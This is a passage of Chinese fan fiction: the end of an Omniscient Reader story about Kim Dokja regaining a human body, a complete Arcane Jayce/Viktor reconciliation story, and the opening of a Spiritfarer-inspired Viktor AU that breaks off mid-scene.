原先遮在眼皮上的触手开始下移,冰冰凉凉的触感覆在了嘴唇上,刘众赫下意识要睁眼,那些触手便又急急忙忙地遮了回去,一阵叽里咕噜的声音里刘众赫居然听出来金独子对自己睁眼看他这件事极为不满。
啧,真麻烦。刘众赫想。
察觉到他的妥协,金独子把触手探进了他的嘴唇里,喉咙里有东西在摸索的感觉着实难受,无法下咽也无法吐出,刘众赫觉得自己有必要找个机会把金独子修理一顿作为报复,在他不耐烦到准备咬断那根触手之前触手飞速地缩回了那堆不规则的黑色物什里,以至于刘众赫怀疑金独子是不是故意的。
金独子调试着新复制来的声带,他觉得要不是刘众赫不知道他的脖子在哪这家伙恐怕要掐着自己的脖子,只为了不让自己拿他的声音发出奇奇怪怪的音节直到他找回自己的音色。
能和一个正常人类一样发声的感觉让金独子没由来地一阵感动,不过他有必要向眼前这个脸色黑得能滴出墨的翻车鱼解释一下自己现在是个什么情况。
总之就是外神化后他的身体仍有一些残余影响,第四面墙可以帮他恢复到正常状态,但前提是他得给出一个基本的人类轮廓,越接近他自己越好。所以金独子本想趁着刘众赫休息的空当简单做一个复制粘贴的工作,奈何本来很轻松的事情变成了眼下这种情况。
“吉勇孩童的身体和我并不匹配,李贤城又太高太壮了,找女士们帮忙更不现实,金独子公司里和我身体最接近的就只有你了,众赫。”
金独子的话里甚至带着祈求的意味,听得刘众赫一阵头痛,意思是他得帮这只麻烦的鱿鱼捏一个身体出来。没等他说什么,金独子又准备自顾自地在他摸索,但很快就被强行制止了。
“再乱摸我就杀了你,接下来我照我说的做。”
“啊?”
“把你的手伸出来。”
我现在哪来的手。金独子在心里骂骂咧咧道,但还是妥协地伸出两根触手搭在刘众赫的掌心,
刘众赫的手很粗糙,且布满了各种伤口结痂后留下的疤,看起来有些触目惊心,好在刘众赫现在读不到他脸上的表情,不然肯定要说些“我不需要你的同情”之类的话。
“你的手比我小一圈,手指也更细,不,还要小一点,对,差不多这样。”
这种感觉相当奇怪,由一个“外人”来描述自己的身体,作为一名三十多岁的成年男性,金独子自己对自己的身体恐怕都没有这么了解过,不然他也不会落得现在这个下场,而刘众赫却在一步步地指导他如何重塑自己的身体。
手部已经成形,金独子甚至可以用它们做抓握的动作,但他没时间为这个小小的成就高兴,离下一个场景还有十多天的时间,越快恢复越好。
手掌之后是手腕,刘众赫用食指和大拇指大致地比了个圈,让金独子按着这个大小去模仿。
在原本模糊的人形轮廓的基础上,金独子已经有了正常的手臂,在刘众赫伸手去摸他称之为“脖子”的部分时金独子下意识地往后缩,与此同时也收获了来自前者的一记眼刀。
“……条件反射,条件反射。”
刘众赫依旧瞪着他,这更加让金独子回忆起这家伙掐着他的脖子把他丢进鱼龙肚子的时候,要不是有求于人金独子真想借机拿触手抽他一顿,或者他应该在刘众赫悠悠转醒的时候就直接把他掐晕,那样就没后面这些事了。
金独子紧张地感觉到刘众赫的十指
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在自己的脖子上收紧,哪怕知道自己现在的状态并没有被掐着脖子导致窒息这一说,要是他想,身体的每一个部分都可以成为呼吸的器官,但作为人类的认知还是让他下意识地感到紧张,连自己的手正下意识揪着刘众赫的衣摆也没察觉,只是在刘众赫松开手时默默松了一大口气。
腰部以上已经完成得七七八八,腰部以下仍惨不忍睹,金独子尴尬地发现为了方便给自己恢复身体,刘众赫先前居然把自己拉到了他的大腿上。
…该死,被这个混蛋翻车鱼牵着鼻子走了。
到后面刘众赫几乎没让他做什么,而是像个真正的雕塑家似的在他身上比划。
刘众赫自然不会注意到金独子的不知所措,他在记忆里摸索着关于金独子身体的部分,从手,手腕,一直到脖子和肩膀的宽度。
他记得某次自己与金独子讨论下个场景的计划,这个家伙总是和自己拉开一点距离,和韩秀英讨论战术时倒能近得几乎是头贴头,对他倒像是对上了什么洪水猛兽,他索性两步上前,一下缩短了二人间的距离。
金独子下意识地后退,但是被圈住手腕的同时又捞住了腰,如此近的距离之下刘众赫看见金独子因惊讶而微微缩小的深褐色瞳孔,心里不由得意外这家伙被白色大衣裹着的的身体居然是称得上瘦削的。
“为什么一定要站那么远?”
“啊?我还以为你不喜欢别人和你靠太近。”
记忆里的自己冷哼了一声,撤开了对金独子的禁锢,留下那人站在原地一脸困惑地自言自语。
然后是大腿。男性的生理构造本就让他们的腿部较女性更细,他记得金独子当时只穿一件单薄的星遗物草席的样子,他的腿很细,哪怕是大腿也没什么肉,不过下蹲发力时会看起来丰盈一点,想到金独子在灾难开始前只是一个整天对着电脑敲代码的程序员,让他觉得这是合理的同时又有种不太舒服的感觉。
“等一下!已经可以了!”
金独子慌张的声音把他从思绪里拉回来,轮廓已经基本成型,金独子似乎在和第四面墙沟通,可能性的火花一时间在两人间炸开,不过很快就恢复了正常,刘众赫看着那些粘液般黑色的不规则物像淤泥一样从金独子的手开始脱落,一个他所熟悉的金独子正回到自己面前。
比他小一圈的手,略窄的肩膀,一只手臂就能勾住的腰。恢复正常的金独子长吁了一口气,抓握了一下自己“新生的”五指,它们几乎和刘众赫指导着自己捏造出来的一模一样,金独子不禁感到奇怪,这个家伙怎么比他还要了解自己的身体?
“……你的衣服呢。”
“在隔壁房间,外神化的时候全都掉地上了。”
金独子看着刘众赫脱下那件黑色的外套披在他身上,然后起身去隔壁房间给他拿衣服。
“外神化的时候那么难看不闭眼…现在闭什么……”
END
30. 【杰维】避风港
*被第二季第二集分手刺激到的激情产物,趁后面6集还没播出来赶紧填一下,如果后续被打脸躺平任嘲XD
*论一年多没有动笔但是被男同逼到激动回坑,双城轻松一卖留我痛苦一生
*分手太痛了写点甜的,有对解析新形象剧情猜测,但主要是想看他俩谈心
第一眼望去的时候,杰斯还以为那是狂野符文的另一个变体。在他的身体被分崩离析又同时被重组的过程中早已见过无数种不同形式诡异的形态,仿佛是高高在上的神明的眼睛,无声嘲弄着这样一个自不量力的人类,这样一个妄图揭示世界真相的渺小人类。
他不清楚这过程已经持续了多久。几个月?几年?还是几个世纪?在符文内部所见的景象已经不能用拙劣的语言来描述,其复杂的范畴早已远超了他的认知水平,比童年时期经历的那次奇妙的空间折跃还要更难以理解。他感到自己被撕裂成了无数部分,每一部分被随机安置在一个可能的平行宇宙里,紧接着那些部分又继续分裂,重组,再分裂......杰斯仿佛身处风暴的中心,无助又绝望地看着这一切变化,心里却只觉得自己还没有彻底发疯真是个奇迹。
似乎在很久以前他就失去黑默丁格和艾克的踪迹了,最开始的时候,他还能听到他们被核心错误化的惊呼和尖叫,后来就只剩下了混乱的杂音。杰斯不知道是否还能离开这片混乱,是否还能找到他们,他的眼前只有那个不断放大的符文变体,如同黑洞般把他拖入深渊,一个熟悉的身影不断在脑海里浮现......
然后一切都平静了下来。
他站在一片空地上,面前那个巨大的球体仍然矗立在那里,可是却和他见过的那些符文变体都不一样。从空地的穹顶之上射下的光线映照出球体的结构,仍然是五彩斑斓的组织,复杂而诡异的交织纹理,但它却显得那样温暖,祥和,而......神圣。
“你也是来找那位救世主的吗?”
杰斯猛然惊醒,他看到问话的是一位陌生人,不知何时悄然无声来到了自己身侧。那人身材矮小,披着一件简单的素白袍子,说不清是怎样的身份,也不知道他来自上城还是底城。他看起来小心而友好,身上散发着令人放松的气息,可是杰斯却无法忽略——他的脸上和手臂上残留着的那些印迹,和符文中所见到的图案一模一样。
“这些?不用担心,是无害的。”陌生人似乎注意到了杰斯在盯着自己的脸,用轻松的语气解释道,“他救治过的每一个人身上都会留下类似的痕迹,类似于我们这群人的一种......标志。”说到这里,他脸上不由浮现出崇敬的神情,“他会帮助我们所有人摆脱痛苦,如果你也是为这个来的,他也一定会帮助你的。”
他环顾四周,除了那个巨大的符文似的球体,周围聚集着许多大大小小的帐篷,似乎这是一个小型的村落,而正中央的球体就像这村落中心的圣物。他看到一些和这陌生人一样的人群在帐篷中进进出出,他们都穿着简单的素袍,神情放松地互相交流,脸上和身上多少带着符文的图案,可是这一切和他在核心内部见到的混乱完全不同,他感到一种前所未有的安宁氛围,这样的氛围似乎在多年前就离他而去了。
身边并没有镜子一类的反光物来让杰斯看清自己目前的样子,但他已经确信自己现在糟透了。汗湿的卷发贴在额头和耳边,激增的胡子看起来像个流浪汉,牢牢嵌进手腕里的水晶钻心般疼痛,而身上那件制服也破烂不堪,以至于旁人都无法辨认塔利斯家族的标志了。还有墨丘利之锤——经历了符文的腐化后已经被扭曲成了一种可怖的形态,看起来像是来自异界的武器,也让拿着它的自己如同怪物一般。可是还没等他对这一切作出解释,身后就传来一个熟悉的声音。
“杰斯......?”
他的心跳停了一秒。迟钝的反应支撑着他慢慢回头,与之对上的是一双美丽的,柔和的眼眸。他们分别之时这双眼眸也是同样的柔和,还带着一种难以言喻的悲悯,没有人能在这样的注视下防备警惕。
这是杰斯安心地昏过去之前脑海里最后的想法。
他醒来时嗅到一股淡淡的香味,勉强支撑着把眼皮撑开,而外部的光线已经暗淡下去了,取而代之的是周遭暖黄色的灯光。似乎自己是睡在干净的沙发上,褪去了脏乱的外衣,有人在桌前忙碌。这感觉就像回到了小时候,自己因为玩累了在沙发上小憩,醒来时就能闻到晚饭的香味,看到母亲布置餐桌的背影。
“我这里的资源有限,但应该足够让你好好安置了。”
维克托似乎是察觉到他已经苏醒,将热好的甜奶放在桌上,这才支起拐杖缓步走来。他的声调没有多少起伏,可是却并不像机械般冰冷,而是更加温柔缓和,即使是警惕性再高的人也能完全放松下来。
“维......”他试着开口,可是沙哑的嗓音被卡在了喉咙里,就好像几个月没有说过一句完整的话似的。维克托轻轻阻止了他,一只手支起他的脑袋,另一只手把一碗温水慢慢灌入他的口中。“你的声带受损了,别急着说话。”他低语道,“我在你醒来前已经喂了两次药,这种挫伤并不是人为造成,至少需要几天才能完全恢复。”
模糊的视线逐渐清晰,也让他能完全看清维克托的样貌。和上一次分别相比他并没有太大变化,深紫色的皮肤依然流淌着微弱的光线,脸色依旧病态般苍白,但比刚醒来时的状态略好一些,头发略微长长,柔软地贴合着瘦削的脸颊。他身上穿着一件单薄的布衣,先前杰斯给他披上的蓝色长袍整整齐齐地叠好放在床上。他手指的触感依然没有温度,可是自己却并不排斥。
维克托并不急于开口询问,而是等他完全清醒,继而从桌上端来刚热好的甜奶,看着他慢慢喝下去。杰斯记得在一切还没变得复杂和无可挽回的时候,他们在实验室里就经常分享这种独特的饮料。茴香粉是维克托从祖安带来的特产,比起皮城食物的精致,这种独特的香料反而让杰斯流连忘返。他喜欢香甜的气味在舌尖流淌的感觉,以及他们顺着喉咙而下的温暖,在寒冷天气再合适不过。距离上一次喝到这样美妙的饮料似乎是很久以前了,久到两人之间的氛围还是简单又幸福的那个时刻。
“我在你昏迷期间试图查看你身上残留的痕迹,”维克托自顾自地开了口,“一开始我以为你是受到了微光的影响,但事情比我想得要复杂得多。我能感觉到你体内的能量场和我自己的海克斯核心来源一致,只是你的能量更加原始,而且处于非常不可控的状态。”他的神情变得严肃起来,“我体会到那股力量在一直蚕食你的神智,试着抹除掉令你痛苦的根源,可是我做不到。”他停顿了一下,似乎仍然觉得很不可思议,“那股力量在排斥我。”
杰斯并不清楚维克托是通过何种手段救治外面的那些人,但是从最开始那个陌生人的状态来看,他们显然是不具有任何后遗症的,这是一种温和,稳定的疗程,也许涉及到了独特的魔法,也许是维克托本身就擅长掌控的能力。但自己的情况截然不同。考虑到他仍然没能完全理解狂野符文的定义,而面前的人又是唯一可能钻研出方向的,杰斯自然不能再隐瞒什么。
“你对于符文研究的推论是对的,维。”他哑着嗓子一字一顿地说道。
维克托轻轻吸了一口气:“别告诉我——”
“是狂野符文。”话匣子一旦打开就像洪水般无法制止,“我一开始也以为它是一种正向的,容易理解的矩阵,可是这么多年来它的根源就藏在地下,而且是最原始的形态。比起我们之前见过的那些符文矩阵,它更像是一种活体,而他渴望汲取更多的生命。所以等我触碰到它的时候,一切——一切都失控了。”
他的呼吸变得急促起来:“后来我在空间里看到的那些,我......我根本没办法描述出来,它变得太快了,太混乱了,唯一能够解释的情景就是我似乎延伸出了许多同位体,能够让我看到许多不一样的平行时间线,可是在那些时间线里发生的事,几乎——没有一种是美好的......”他低下头捂住脑袋,似乎要把残留在记忆中见到的那些悲惨全部消除,维克托认真地听着他混乱的转述,眼中也是掩饰不住的震惊。
“我应该早点意识到它有多危险的。”杰斯的声音不由自主地哽咽了,“人类傲慢涉足的领域永远都充满了不确定性,可我们还自以为能够驾驭它。我应该答应帮你毁掉海克斯核心的,维,要是我那时知道它造成了多大的伤害......”
可他说不下去了。议会遭到爆炸袭击的那个晚上突然又在眼前重现。他看着维克托瘦弱的身影躺在废墟中,脸上仅有的一点血色也在飞快消失......他飞快地抱着他跑向实验室,而他甚至都感觉不到他的呼吸......他就那样看着他微弱的生命从自己怀中溜走,可是自己却无能为力......
“可是我做不到,我做不到任由你死去!”他失控地喊出声来,因为用力过猛而感到喉咙剧痛,可是他毫不在意,“我就那样眼睁睁看着你躺在那里,我几乎要以为你已经没救了,可是如果就这样放弃希望的话......”他变得语无伦次起来,眼眶开始模糊,“我只是做不到——我还没准备好——我永远没办法接受......”
有什么东西搭在他的后背,继而是令人舒缓的气息,然后他才意识到是维克托无言地拥抱了自己。他感觉到那只没有温度的手臂在后背上轻抚着,感觉到泪水缓缓沿着鼻梁留下,令他想要狠狠地回抱过去,像个小孩子在他怀里痛快地哭一场,把自己这些日子的委屈和难过全都发泄出来......可最终他只是轻轻搂住维克托纤细的腰,把脑袋埋在他肩膀上轻声啜泣,生怕力度太大伤到他。
“我在这里,杰斯。”维克托的声音前所未有的温柔,这温柔能让人的一切苦闷都烟消云散。
他们沉默地相拥了足有一分钟,在杰斯看来实在太过短暂,他恨不得将这个期限延伸至永远,可是理智提醒他维克托不会喜欢。最后他难为情地轻咳了一声,慢慢松开对方,一把抹掉了脸上的泪痕。
“如果你不想继续,我完全明白。”
“不——没关系。”杰斯揉了揉鼻子,“只是我经历的这一切回忆起来实在太痛苦了……给我点时间,我会调整好的。”他想要转移成一个更轻松的话题,但语气明显非常生硬,“所以,你最近就是在祖安拯救受苦的人们吗?通过——你新获得的能量?”
“这里的难民比你想象的要更多。”维克托脸上又露出了悲悯的神色,“他们大部分都是过度渴望微光导致了身体机能的萎缩和残疾,而许多人都因为医药花光了钱财,只能在这里无望地等待死亡。我刚回来的时候,几乎在裂沟区看不到健康完好的人,他们有的渴望着温饱,有的寄希望于神明,而我无法坐视不理。”
“我身上的力量可以抹除他们的病痛和苦难,让这些人不用在低谷中挣扎。如今两城的战争一触即发,许多祖安人都做好了反抗和赴死的准备,但是也有一些人不愿意战斗,只想平静度过余生。他们大都无家可归,所以我把这里设立为避风港,能够让这些人不再需要为温饱发愁。他们都视我为救世主,赞扬膜拜我的伟绩,可是我也只是个想帮助别人的普通人罢了。”他看着自己紫色的布满复杂纹路的双手,神色黯淡了下来,“我现在还在对我体内的能量做进一步研究,反复检查它是否会有不可逆的副作用,直到现在我也没能确认它是真正稳定的。”
杰斯不知道该说什么好。维克托实现了他想造福人民的初衷,他本该为此感到高兴,可是这却要以他们的分离作为代价。一想起他们未来都不能再有共处一间实验室的时光,不能无忧无虑地对彼此敞开心扉,他就难受地无法呼吸。而上城和底城的战争又迫在眉睫,他不知道最终的洪流会将他们推向什么位置,但如果真有兵戎相见的那一天,他怎么可能和昔日的爱人反目成仇?
“我很抱歉。”他低着头,双手不安地搅在一起,“我那时候不该冲你发泄的,我知道你已经对我失望透顶了。如果我没有去当议员,没有因为政客的身份迷失本心,如果我那时候能一直陪着你的话……”
“我理解的。”维克托摇摇头打断了他,似乎是杰斯的错觉,但他的声音里好像也染上了一层悲伤,“你是皮城最耀眼的明星,是带领这座城市开拓新纪元的焦点,所有人都在关注着你的一举一动。如果你没有争取到那些实验资源和赞助,我也不可能一直无所顾忌地在实验室研究。我们的身份注定要站在不同的位置,也是从很早就明确了我们会分道扬镳,只是我一厢情愿想要让这一刻晚点到来。”说这句话的时候,他声音里原本掺杂的沉重回音仿佛消失了,每一个单词都是那样清晰,像是在替过去的自己表达那些未能说出口的情感。
“不,你不是一厢情愿!”杰斯猛地握住他的双手,然后马上意识到自己的越界,只好尴尬地松了力道,“听我说,维,我知道我做了很多混账事,但现在一切还有挽回的余地。你不需要再回到皮城和我一起,但是我愿意为了你留在祖安。即使你不想见我也没有关系,我可以自己找个地方住,时不时维持通信就行,这样我们就不会分开。只要你一句话,我就可以留下来。”
维克托沉默地看着他。在以前,杰斯还可以从他金色的虹膜中读出欢欣和喜爱,继而是黯淡,最后是失望。可是如今,他面对着那双不断变幻着色彩的眸子,却什么都看不到了。
“这正是我要告诉你的。”过了很久之后他才开口,轻柔的语调却透露着疏离感,“我知道你有很多事情都会优先考虑我,时刻照顾我的情绪,而且比我自己还看重我所剩无几的生命,我很感谢这一点。可是你在关键的事情上却并没有尊重我的意愿。”
“我意识到了海克斯核心的危险性,希望你帮我毁掉它,可是你一心想要救我的命,违背了你的承诺;我当然知道你的初衷是关心我,在乎我的,但是你并没有考虑到救我可能导致的后果。”
他再度盯着自己不似人类的双手,声音有些发抖:“我昏迷的时候只能模糊地感知到外界,我做好了就此死去的准备,但是深层的意识却驱使我醒来,回到生者的世界。我被强行唤了回来,可苏醒的我已经不是原来的我了。”他垂下了眼睑,像是在品味可能留存的苦痛,“你抱着我的那一刻,我想的是虽然你违背了承诺,虽然我已经面目全非,但你还是一如既往地爱我,我想我应该感到高兴。可是我那时并没有想象中的高兴,只是因为你的拥抱放松了一些,而更多的却是什么也感觉不到。我记得你的体温总是能让我暖和起来,我想试着去体会那样的温暖,可我还是什么也感觉不到。”
他声
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音中的颤抖更加厉害了:“从那时起我就意识到,我的一部分已经永远消失了。而同时我还能感觉到更多的人性也在随之消失,海克斯核心与我融为一体,可它也在不断吞噬我人类剩余的部分。或许是斯凯逝去的灵魂也留在了核心里,她提醒我,指引我不要迷失方向,所以我现在依然能保留一部分人性。可如果这最后的人性也消失了呢?如果我被核心完全同化,被改变成一个完全不同的人——甚至生物呢?”
他看着杰斯的目光变得悲哀:“而这时候你一直说着会留下,让我在你身边继续做你的搭档,好像我们只是经历了一次普通的意外,好像你在心里已经认定我要用余生都依附于你。而接着我又看见你桌上那些海克斯武器的蓝图,我就知道我必须走了......”
“我没有这样想!而且武器我本来也不想——”杰斯急切地想要反驳,但维克托伸手制止了他,“我知道这些都不是你的本意,我都知道。就像我说的,你在这个位置上所承受的压力已经很大了,而且为了生存我们都不得不做出一些违背本心的事,我不能怪罪于你。但我也知道如果我留下来,我们之后能够共处的时光绝不会和之前一样了。在这种敏感时期,我作为一个底城人,要如何以这种身份,这种形象留在皮城?而议会会把重点集中在你制造的海克斯武器上,毕竟你是唯一能够利用的资源。难道你要我眼睁睁看着我们本来用于造福人民的产物,被执法官用来作为摧毁我的家乡的手段?你考虑过我留下来的这些后果吗,杰斯?”
杰斯怔怔地看着他,半晌说不出一句话。维克托永远是那个更理性,考虑更长远的人,在关键时刻从不感情用事,可是自己那时候想的是什么呢?只有爱人活下来的欣喜若狂,失而复得的满足感,他们还可以回到从前在实验室里的日子,就好像一切都没发生过。可是早在自己当上议员的那一刻,甚至更早,他们的关系就被改变了。他幡然醒悟的时候,为什么不想想维克托已经积累了多少失望?他追悔莫及的时候,为什么不想想自己将他独自冷落在实验室已经持续了多久?
维克托也不想再继续重提旧事,今晚他想要说的都已经说完:“天色不早了,你在这里休息一晚,明天一早我把你送到桥那里,祖安暗巷太多,你一个人会迷路。”
“回去?可我不想回去!”杰斯刚出口就意识到自己又犯了老毛病,他连忙放缓了语气,“我的意思是,我还要把我经历的这一切完整地告诉你,而且你现在做的事简直太了不起了,如果可以的话我也想留下来帮忙——”
“别孩子气了,杰斯,”维克托不赞同地皱了皱眉,“你不能留在祖安。皮尔特沃夫是你的家,你的归属,现在是战争时代,如果你想要避免动乱就该回到真正安全的地方去,更别说人们都指望着你——”
“让那些战争武器海克斯什么的都见鬼去!”杰斯情绪激烈地说,“我在符文里经历的那一切根本不是战争的残酷能够比拟的,我看到的那些灾变和失落的未来,我害怕让它们变成现实,所以那时我还能用剩余的理智计划,如果我脱离这种混乱活下来,我回到这里首先要找的就是你,只有你。”他顾不上冒犯了,只知道一把抓住维克托的肩膀,好像不这样做他随时就会消失似的,“因为我知道没人会相信我说的这些话,只有你会,维,只有你最了解我。让我留下来,哪怕只有几天也好,让我把经历的一切都告诉你,我们一起去阻止可能发生惨剧的未来。”
“你不明白。”维克托的语气依然十分抗拒,但眉目却不像刚才那么坚定了,杰斯知道这是他松动的表现,“你现在的处境就像我以前在皮城一样,你在这里不受欢迎。那些人放松了警惕,是因为他们没有认出你的身份。就算我接受了你,其他人也不会。两城的矛盾已经根深蒂固,即使有人不想互相敌对,但以目前的形势来看,祖安人是不会容忍一个皮城人出现在他们的地盘上的。”
“就算他们百般羞辱我,厌恶我,我都不在乎,”杰斯抓着他肩膀的力道更紧了,即使他知道维克托不喜欢这样,可是仅有的机会摆在面前,他无论如何都不能放手,“我知道我现在道歉一定显得很虚伪,我也知道我的那些保证听起来全是空话,你可以不接受不原谅,可我就是要说对不起。”冷汗顺着他的额头留下来,可此时他早就顾不上什么形象了,“你也可以不相信我的承诺,但只有这一点我能保证,就是不论你变成什么样,不论你失去了多少人性和情感,哪怕你再也不是原来的样子了,我都不会停止爱你,永远都不会。”
那彩色眼眸中的动摇似乎更加明显了,于是杰斯一鼓作气:“很早我就对自己做出了这个诺言,所有的其他保证我都可能违背,但只有这一条不会。我会接受你所有的样子,无论是人类的你,还是被核心改造后的你,甚至是完全失去情感的你,所有的你在我心里都是完美的。求你了,维,哪怕这些天你不想见到我都行,只要能让我留下来帮忙,你让我挨饿受冻,让我只能把所见之事记在本子上都行,这之后我就随你处置。我只有这一个要求,别的绝不越界。”
他已经做好了被拒绝的准备,甚至这可能是和爱人最后一次见面的机会,可是维克托凝视了他良久。五彩斑斓的瞳孔在灯光下闪烁着,似乎是过了一个世纪那么久,最后寒冬的冰雪终于消融。
“好吧。”维克托默默叹了口气,神情放松了下来,“我确实很想知道你都经历了什么,狂野符文的力量绝非人类可以控制,你能活下来真是个奇迹。若是我们现在掌握了足够的信息,就可以应对奥术的不稳定性,至少可以让躁动的活体暂时平静下来。”他伸出手,轻轻擦去爱人脸上的汗水,“但是今晚你很累了,又说了这么多话,你应该充分休息,好好睡一觉。明天我带你熟悉一下周围的路线,我不能一直陪着你,小心别在其他祖安人面前暴露了身份。”
足够了,有这句话就足够了。心里悬着的那块巨大的石头终于安稳落地,让杰斯一瞬间涌上了前所未有的放松和疲惫。“谢谢你,真的谢谢你。”他瘫坐在沙发上,接着又想起了什么,再度小心地起身凑近他,“我可以吻你吗,维?对不起——我知道我又得寸进尺了......”
可是维克托摇了摇头,已经从容自然地闭上了眼睛。于是杰斯小心翼翼地捧起他的脸颊,仿佛手心的是一块千金难寻的珍宝,继而轻柔地在他唇上落下一吻,就像他们无数次浅尝辄止的吻一样。
“我也从来没停止过爱你,杰斯。”吻毕后,维克托的这句话近乎耳语,他要仔细听才能捕捉到。他看到爱人对他露出一个明媚的微笑,而他知道这微笑绝非应付了事。
在熄灯后进入梦乡之前,杰斯脑海中没来由地浮现出一个场景,那是过去他和维克托刚相遇不久的时候,两位年轻的科学家为了世界的未来毫不停歇地奋斗着,泡在实验室不眠不休。有时候自己会从复杂的工作中挣扎出来,打着哈欠给自己去泡一杯咖啡,正准备回到座位上继续奋战整晚,就会发现搭档已经趴在桌子上睡着了。杰斯这时候总是会拿起自己的大衣轻轻披在他肩上,从第一次这样做时就把其当成了本能驱使。可还没来得及细细回忆下去,他的意识就逐渐往平静的黑暗中倾倒。他感到好像有什么温暖的东西盖在了身上,只是没有力气去想那到底是什么了,他只知道,这将会是这段夜不能寐的日子里他睡得最好的一觉。
31. 【杰维】永恒尽头
*第6集让我彻底碎掉了,可能在下周之前都写不出原作向了还是稿au香()
*Spiritfarer游戏设定,伪全员向(除了杰维有all维cb向),微量凯蔚,有主要角色死亡
*猫拟布里茨预警,建议配合歌曲《What will you leave behind》观看
维克托在一条小船上醒来。
水面上轻轻晃动的独木舟让他想起了母亲晃着摇篮,哄婴儿熟睡的场景。说来奇怪,这种安心的感觉从他记事起便很少有了,取而代之的是早已习惯的病痛,让他在每一次早晨醒来时都要伴随着肺部的肿胀和刺痛,也在每一次深夜睡下后都要担心是不是再也睁不开眼。
布里茨轻轻蹭着他的胸口,不时舔舔爪子,发出满足的咕噜声。维克托不由地收紧了环抱着他的双臂。这只小猫是他的伙伴,他的牵挂,也是能让折磨他的病痛平静下来的良药,让他甚至无法想象没有布里茨在身边的日子。小猫亲昵地用胡须扫过他的脸颊,婉如暖风拂面。
“欢迎你,亲爱的旅人。能够一路走来实属不易,你的意志非常坚强。”
维克托慢慢支起身子,本以为会习惯性地引发腿骨的钝痛,可是所有的顽疾好像都消失了。他发现这个温和声音的来源是一个纤细高挑的女人,她双脚悬空浮在他的船头,乳白色的长发飘散在空中,柔软的眼神中蕴含着和煦的微风,即使是再狂躁不安的心也能在她面前得以安宁。
“我是迦娜,这片灵魂之境的守护者。”女人接着说,“你身上的病魔寄居多年,如同野兽般狂妄又乖张,你已尽了最大的努力驯服它,最终才能来到这里,让我真正接触到你,为你移除所有的痛苦。”
“您是......风之女神?”维克托试探着开口,发现自己的声音也不再那么沙哑了,“我无言感谢您所做的一切。只是不知您为何要......”
“所有饱受痛苦的灵魂都值得被拯救。”迦娜似乎看出了他的想法,“因此才有了这片灵魂之境。在并非所有人都能坦然接受死亡的世界里,他们不甘的灵魂便会在此处徘徊,无法拥抱永恒之门的寂静。但停留地越久,内心的迷茫与空虚只会将他们转变为失落的空壳,最后只剩下绝望。正因如此,你才会作为灵魂摆渡者来到此处。”
“灵魂摆渡者......?”维克托因为这个全新的概念瞪大眼睛,变得语无伦次起来,“可是......为什么是我......?”
“你有坚定的内心和不羁的灵魂,维克托。”迦娜的眼神里带上了一丝哀伤,“遗憾的是,我并不能真正引导那些迷惘的孤魂,光凭缥缈的言语不足以说服他们接受死亡。但你具有人性的共情,你可以真正走进他们的内心,理解他们,宽慰他们,让他们在最终走向永恒时不再惧怕,有所依靠。”
“你在这个世界里会遇到许多徘徊不止的灵魂,有些是你熟悉的人,有些是陌生人。你会和他们在同一条船上生活,通过他们向你讲述自己的故事深入了解这些灵魂。倾听他们的痛苦,满足他们最后的愿望,让他们在弥留之际过上幸福的生活,等他们做好准备后,就可以带着这些灵魂来到永恒之门,送他们走完最后的旅程。”
她从项链上摘下两颗泛着金光的宝石,分别递给一人一猫:“好好利用这份永恒之光,它会指引你破除所有的迷雾。我们还会再次见面的。”
维克托仍然懵懂地看着手心里那片耀眼的光芒,布里茨倒是非常自然地接受了这份重任,此时已经把这当成毛线球一样抛接着玩了。迦娜没等他再问什么,只是微笑着慢慢消失在风中。
“布里茨是一个好伙伴,别忘记他。”
“你以前见过大海吗?”
迦娜留给了他们一条更大的船只。这上面的物资一应俱全,除了厨房和餐厅之外还有宽阔的花园和菜园,当然还有许许多多的空房间,等待迷途的旅客入住。维克托从未有过架船航行的经验,可永恒之光给予的能力让他如同肌肉记忆般飞速掌握了一切技能,让他可以种菜,钓鱼,甚至建造房屋,很快这艘大船就正式开启了海上的冒险。神奇的是,他甚至只需要在海图上标记地点,轮船就会自动航向目标,这倒是省下了不少空闲时间。维克托这辈子还没有过这样清闲的时刻,若是在以前工作繁忙时告诉他有朝一日自己会拥有一艘属于自己的船,还能天天在甲板上钓鱼,他无论如何都不会相信。
布里茨没有回答他,只是在一旁扒拉着桶里刚钓上来的鱼,于是维克托揉了揉他的脑袋自顾自地说下去:“我见过一次。从皮尔特沃夫到海滩需要三四个小时,但杰斯带我去了另一处地方。”海风吹拂着他的面颊,带着沁人心脾的咸味,“是一个废弃的海岸城堡。从断崖那里可以看见整座海湾,能吹着夕阳的晚风,能看见金黄的太阳慢慢沉到海平面下。”他脸上不由自主地露出了笑容,“那是很久以前的事啦,可能你还没有出生呢。”
布里茨躺下来打了个滚,把肚皮露出来舒舒服服地晒着太阳。
作为灵魂摆渡者的日子当然不可能一直这么清闲下去。航海图已经标注出了这片海域的每一座岛屿和城镇,指引着他去不同地方寻找那些迷失的灵魂。这个世界与正常的世界基本一致,最大的区别就是人们都裹着一层斗篷,好像有意要与外面的事物隔绝开来,而永恒之光能指引着维克托在人群中发现那些他需要照料的灵魂,他们有些散发着淡淡的光芒,有些则披着格外鲜艳或格外暗淡的袍子,从人群中脱颖而出。
他遇到的第一个灵魂是辛吉德。这位他曾经的导师因为实验搞垮了身体,却很坦然地面对了死亡。他在船上的时候几乎一言不发,只是不断将一直带在身上的挂坠盒掀开又合上。维克托记得他在世时曾是那样痴迷热爱化学研究,对他取得的每个成就都欣喜若狂,然而在得知背后的一切真相时他又感到无比难过。或许是死后的世界让他变得寂寞,只能用余下的所有时间都用来怀念唯一的牵挂。
辛吉德并未在人世留下什么遗憾,走之前唯一的念想便是和自己的学生再聊一聊。或许是他一生中从未真正向别人敞开心扉,在去往永恒之门的途中一反常态地滔滔不绝。维克托撑着小船,默默将这些临别的话语记在心中,只希望这段最后的旅途可以再漫长一些。
“关于您的女儿,我很抱歉。”他低声说。
辛吉德不在意地摆了摆手:“我很早就该明白奥莉安娜不会回来,只是不想放弃希望。”他最后一次看向挂坠盒,然后下定决心般的合上,“如果你们能早一点认识,说不定会成为很好的朋友。”
“你刚来到这个世界时并不适应这样的身份,也觉得灵魂摆渡者是个过于重大的责任。实际上你要做的只是陪我们这种灵魂说说话,完成小小的心愿就足够了。所谓的执念给我们这些人套上了枷锁,让我们不甘心地想要继续得到,所以才成为了迷失的躯体。你所做的事即使再微小,即使只是无声地陪伴我们,对我们都是有意义的。”
离永恒之门越来越近,维克托却发现他之前准备好的告别语此时已经无法出口,于是最后只能问:“我们还会再见吗,博士?”
